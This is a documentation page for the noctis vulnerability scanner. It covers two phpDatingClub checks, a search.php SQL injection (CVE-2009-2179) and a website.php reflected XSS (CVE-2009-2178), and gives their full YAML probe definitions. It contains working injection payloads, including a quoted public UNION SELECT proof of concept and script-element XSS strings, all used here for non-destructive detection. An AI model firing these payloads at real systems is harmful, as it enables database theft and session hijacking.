phpDatingClub — 2 vulnerability checks
noctis ships 2 vulnerability checks for phpDatingClub, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpDatingClub search.php sform[day] SQL Injection
| CVE | CVE-2009-2179 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpdatingclub/CVE-2009-2179.yaml |
phpDatingClub 3.7 puts the sform[day] parameter of search.php (day search mode) unquoted into an SQL query and lists the rows it returns, allowing unauthenticated SQL injection: an attacker can read the whole database, member accounts included.
This check requests index.php under the web root, /phpDatingClub and /phpdatingclub and keeps the directories whose page carries the "Powered by phpDatingClub" footer link. There, it sends search.php?mode=day with sform[day] set to a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page returns the product computed by the database, which never appears in the request. No table data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/search.php?mode=day&sform%5Bday%5D={{sc.q}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: phpDatingClub search.php sform[day] SQL Injection (CVE-2009-2179)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-2179
- https://www.exploit-db.com/exploits/8990
- http://www.securityfocus.com/bid/35454
Feed source — tests/vulnerabilities/phpdatingclub/CVE-2009-2179.yaml
# phpDatingClub 3.7 — search.php sform[day] SQL injection — CVE-2009-2179
#
# search.php?mode=day puts sform[day] unquoted into a 44-column SELECT on the
# members table and lists the rows it returns. Public PoC (EDB-8990):
# search.php?mode=day&sform[day]=-1+union+select+1,version(),3,...,44--
# The product source is no longer publicly downloadable (w2b.ru is gone); the
# request shape follows the advisory.
#
# Detection (QoD 97): on an install whose index.php carries the
# "Powered by <a ...>phpDatingClub" footer, sform[day] = -1 union select C,...,C
# (44 columns)-- - with C = CONCAT(0x4e4f43544953, a*b, 0x454e44) and random
# a, b. The product a*b is never in the request, so only an SQL engine that
# evaluated our expression can return "NOCTIS<a*b>END". Read-only, no table
# referenced, nothing extracted.
#
# Better than the source NASL (2009/gb_phpdatingclub_35454.nasl):
# - the NASL puts a fixed hex string ("SQL-Injection-Test") in column 2 only
# and greps it, so any page that happens to carry that string matches; a
# product of two random numbers, computed by the database, cannot be
# present unless the injection ran;
# - the marker sits in every column, so the check does not depend on which
# column a given template prints;
#
# Source: OpenVAS/Greenbone NVT 2009/gb_phpdatingclub_35454.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100231, GPL-2.0-only).
uid: 71a33de4-c9fc-4d38-82fe-1c97b4037599
name: "phpDatingClub search.php sform[day] SQL Injection (CVE-2009-2179)"
description: |
phpDatingClub 3.7 puts the sform[day] parameter of search.php (day search
mode) unquoted into an SQL query and lists the rows it returns, allowing
unauthenticated SQL injection: an attacker can read the whole database,
member accounts included.
This check requests index.php under the web root, /phpDatingClub and
/phpdatingclub and keeps the directories whose page carries the
"Powered by phpDatingClub" footer link. There, it sends
search.php?mode=day with sform[day] set to a UNION SELECT of an expression
multiplying two random numbers. The vulnerability is confirmed when the page
returns the product computed by the database, which never appears in the
request. No table data is read and nothing is written.
cves: [CVE-2009-2179]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [phpdatingclub, dating, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-2179"
- "https://www.exploit-db.com/exploits/8990"
- "http://www.securityfocus.com/bid/35454"
# OpenVAS/Greenbone NASL 2009/gb_phpdatingclub_35454.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected marker and the encoded sform[day] value ─────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let c = "CONCAT(0x4e4f43544953," + a + "*" + b + ",0x454e44)";
let cols = c;
for i in 1..44 { cols += "," + c; }
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q: "-1%20union%20select%20" + cols + "--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phpDatingClub", "/phpdatingclub"]
- id: init-probe-resp
action: set_var
var_name: dc_resp
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'hit_dir == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status == 200 && egrep("(?i)Powered by <a [^>]+>phpDatingClub", body) != ""
store_as: is_dc
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/search.php?mode=day&sform%5Bday%5D={{sc.q}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && is_dc == true'
store_as: dc_resp
- id: check-product
action: script
condition: 'hit_dir == "" && is_dc == true'
code: |
let body = if type_of(dc_resp.body) == "string" { dc_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "phpDatingClub search.php sform[day] SQL Injection (CVE-2009-2179)"
description: "An unauthenticated day search on search.php with sform[day] set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: the parameter reaches the SQL query unquoted, so an attacker can read the whole database (member accounts included)."
remediation: "No fixed release of phpDatingClub is known: remove the application, or make search.php cast sform[day] to an integer (or use a prepared statement) before building the query."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: search.php?mode=day&sform[day]=-1 union select CONCAT(0x4e4f43544953,{{sc.expr}},0x454e44),... (44 columns)-- - returned the database-computed value {{sc.want}}"
stop: truephpDatingClub website.php page Reflected XSS
| CVE | CVE-2009-2178 |
|---|---|
| Severity | medium · CVSS 4.3 |
| Category | xss — XSS |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/phpdatingclub/CVE-2009-2178.yaml |
phpDatingClub 3.7 prints the page parameter of website.php back into the response without HTML escaping, allowing reflected cross-site scripting.
This check requests index.php under the web root, /phpDatingClub and /phpdatingclub and keeps the directories whose page carries the "Powered by phpDatingClub" footer link. There, it requests website.php?page="><script>alert(/marker/)</script>, where marker is random for each scan, then the same request without the leading double quote and angle bracket. The finding requires an HTTP 200 answer that contains either the first value verbatim, with its raw double quote (it runs whether printed as text or inside a double-quoted attribute), or the bare script element of the second request in the page text, outside any tag. A page that escapes the value, or prints it only inside an attribute value, is not reported. The requests name a page that does not exist and change nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/website.php?page=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E - HTTP(S) request
GET {{dir}}/website.php?page=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E - Parses / computes the next value with a Rhai script
- Checks
xss_prooffor^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$→ finding QoD 75: phpDatingClub website.php page Reflected XSS (CVE-2009-2178)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-2178
- https://www.exploit-db.com/exploits/8990
- http://www.securityfocus.com/bid/35454
Feed source — tests/vulnerabilities/phpdatingclub/CVE-2009-2178.yaml
# phpDatingClub 3.7 — website.php 'page' reflected XSS — CVE-2009-2178
#
# website.php prints its `page` parameter back unescaped (public PoC,
# EDB-8990: website.php?page=<script>alert(0)</script>). The same parameter is
# also an include() path (local file inclusion, CVE-2008-3179), so the value
# typically comes back inside the include() failure warning. The product source
# is no longer publicly downloadable (w2b.ru is gone).
#
# The source NASL (2009/gb_phpdatingclub_35454.nasl) names this CVE but only
# tests the search.php SQL injection (CVE-2009-2179, its own feed here). This
# feed covers the XSS: on an install whose index.php carries the
# "Powered by <a ...>phpDatingClub" footer, it sends
# 1. page="><script>alert(/<random>/)</script> (attribute breakout form)
# 2. page=<script>alert(/<random>/)</script> (bare element, the PoC form)
# and requires the first verbatim, raw double quote included, closing a
# double-quoted attribute or in a text node, or the second in a text node (no
# tag "<" between the previous ">" and the element). An escaping page, or one
# that prints the value only inside an attribute, is not reported (nor one
# that prints it after a prefix inside an attribute value: conservative).
#
# Source: OpenVAS/Greenbone NVT 2009/gb_phpdatingclub_35454.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100231, GPL-2.0-only) — CVE list only.
uid: 5b974d2f-e2c5-48de-9b4f-be5200a6f166
name: "phpDatingClub website.php page Reflected XSS (CVE-2009-2178)"
description: |
phpDatingClub 3.7 prints the page parameter of website.php back into the
response without HTML escaping, allowing reflected cross-site scripting.
This check requests index.php under the web root, /phpDatingClub and
/phpdatingclub and keeps the directories whose page carries the
"Powered by phpDatingClub" footer link. There, it requests
website.php?page="><script>alert(/marker/)</script>, where marker is random
for each scan, then the same request without the leading double quote and
angle bracket. The finding requires an HTTP 200 answer that contains either
the first value verbatim, with its raw double quote (it runs whether printed
as text or inside a double-quoted attribute), or the bare script element of
the second request in the page text, outside any tag. A page that escapes
the value, or prints it only inside an attribute value, is not reported.
The requests name a page that does not exist and change nothing on the
server.
cves: [CVE-2009-2178]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [phpdatingclub, dating, xss, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-2178"
- "https://www.exploit-db.com/exploits/8990"
- "http://www.securityfocus.com/bid/35454"
# OpenVAS/Greenbone NASL 2009/gb_phpdatingclub_35454.nasl (GPL-2.0-only)
steps:
# Random marker for this scan (letters and hex digits only).
- id: marker
action: script
code: |
"noctis" + oob_token.sub_string(0, 8) + oob_token.sub_string(9, 4)
store_as: tok
- id: init-proof
action: set_var
var_name: xss_proof
var_value: ""
# ── Loop group: every following step runs once per install dir.
- id: init-landing
action: set_var
var_name: landing
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/phpDatingClub", "/phpdatingclub"]
- id: init-probe-r
action: set_var
var_name: probe_r
var_value: {status: 0, body: ""}
- id: init-probe2-r
action: set_var
var_name: probe2_r
var_value: {status: 0, body: ""}
- id: fetch-landing
action: http_request
method: GET
path: "{{dir}}/index.php"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'xss_proof == ""'
store_as: landing
- id: fingerprint
action: script
condition: 'xss_proof == ""'
code: |
let body = if type_of(landing.body) == "string" { landing.body } else { "" };
landing.status == 200 && egrep("(?i)Powered by <a [^>]+>phpDatingClub", body) != ""
store_as: is_dc
# 1. Attribute breakout form: "><script>alert(/marker/)</script>
- id: probe
action: http_request
method: GET
path: "{{dir}}/website.php?page=%22%3E%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
port: "{{port}}"
condition: 'xss_proof == "" && is_dc == true'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe_r
# 2. Bare element (the public PoC form), for a page that escapes only the
# double quote but prints the value in a text node.
- id: probe2
action: http_request
method: GET
path: "{{dir}}/website.php?page=%3Cscript%3Ealert%28%2F{{tok}}%2F%29%3C%2Fscript%3E"
port: "{{port}}"
condition: 'xss_proof == "" && is_dc == true'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: probe2_r
# The executable reflection with this scan's marker — or "": probe 1
# verbatim with its raw quote, closing a double-quoted attribute (="…) or in
# a text node (a backslash before it, from PHP magic_quotes_gpc, is still a
# breakout; inside a single-quoted attribute it is not, so that context is
# not accepted), or probe 2 in a text node (only text, no tag, between the
# previous ">" and the element: an attribute value always has its tag's "<"
# there).
- id: reflection
action: script
condition: 'xss_proof == "" && is_dc == true'
code: |
let out = "";
let b1 = if probe_r.status == 200 && type_of(probe_r.body) == "string" { probe_r.body } else { "" };
let b2 = if probe2_r.status == 200 && type_of(probe2_r.body) == "string" { probe2_r.body } else { "" };
if ereg("(?:=\\s*\"\\\\?|>[^<>]*\\\\?)\"><script>alert\\(/" + tok + "/\\)</script>", b1) {
out = "\"><script>alert(/" + tok + "/)</script>";
} else if ereg(">[^<>]*<script>alert\\(/" + tok + "/\\)</script>", b2) {
out = "<script>alert(/" + tok + "/)</script>";
}
out
store_as: xss_proof
- id: report
action: match
source: xss_proof
pattern: '^(?:">)?<script>alert\(/noctis[0-9a-f]{12}/\)</script>$'
on_match:
finding:
title: "phpDatingClub website.php page Reflected XSS (CVE-2009-2178)"
description: "A request to website.php with a page value carrying a script element was answered with that element unescaped, either with the double quote that closes a quoted attribute or inside the page text, so the script element is added to the page. An attacker can send a visitor a link that runs script in the context of the dating site, for example to steal the session cookie."
remediation: "No fixed release of phpDatingClub is known: remove the application or restrict access to it. If you maintain the code, accept only known page names in website.php and HTML-escape the value (htmlspecialchars($page, ENT_QUOTES)) everywhere it is printed."
confidence_delta: 0.55
qod: 75
evidence: "GET website.php?page=<injected value> on a phpDatingClub install returned HTTP 200 containing the injected element unescaped: {{xss_proof}}"
stop: true